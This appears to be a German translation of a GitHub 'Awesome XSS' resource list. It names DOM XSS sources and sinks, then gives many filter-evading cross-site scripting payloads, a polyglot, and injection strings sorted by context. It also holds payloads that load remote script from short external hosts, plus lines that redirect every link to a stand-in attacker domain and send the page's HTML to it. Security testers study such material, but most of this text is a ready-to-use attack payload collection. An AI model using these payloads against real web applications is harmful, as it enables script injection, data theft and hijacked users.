
Awesome XSS-Sachen
Dieses Repository ist eine Sammlung von Awesome XSS-Ressourcen. Beiträge sind willkommen und sollten über ein Issue eingereicht werden.
Eine schöne XSS-Mindmap von Jack Masa, hier
VerwundbarNicht verwundbarQuelle: Eine Eingabe, die von einer externen (nicht vertrauenswürdigen) Quelle gesteuert werden könnte.
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage
Senke: Eine potenziell gefährliche Methode, die zu einer Sicherheitslücke führen könnte. In diesem Fall eine DOM-basierte XSS.
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location
Diese umfassende Liste von Senken und Quellen stammt von domxsswiki.
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="https://github.com/s0md3v/awesomexss/blob/master/javascript%26colon%3Balert%281%29">click
<a href=javascript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>
Hier ist ein XSS-Polyglot, den ich erstellt habe und der aus über 20 Kontexten ausbrechen kann:
%0ajavascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
Erklärung, wie es funktioniert, hier
Einige weniger erkannte Event-Handler
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel
Einige HTML-Tags, die Sie verwenden werden
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video
Fall: <tag>Sie suchten nach $input. </tag>
<svg onload=alert()>
</tag><svg onload=alert()>
Fall: <tag attribute="$input">
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()
Fall: <script> var new something = '$input'; </script>
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>
Ja, confirm, weil alert zu mainstream ist.
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
i.href = "https://angreifer.com";
});
<svg/onload="(new Image()).src='//angreifer.com/'%2Bdocument.documentElement.innerHTML">
Wenn nichts davon funktioniert, werfen Sie einen Blick in den Abschnitt Awesome Umgehung.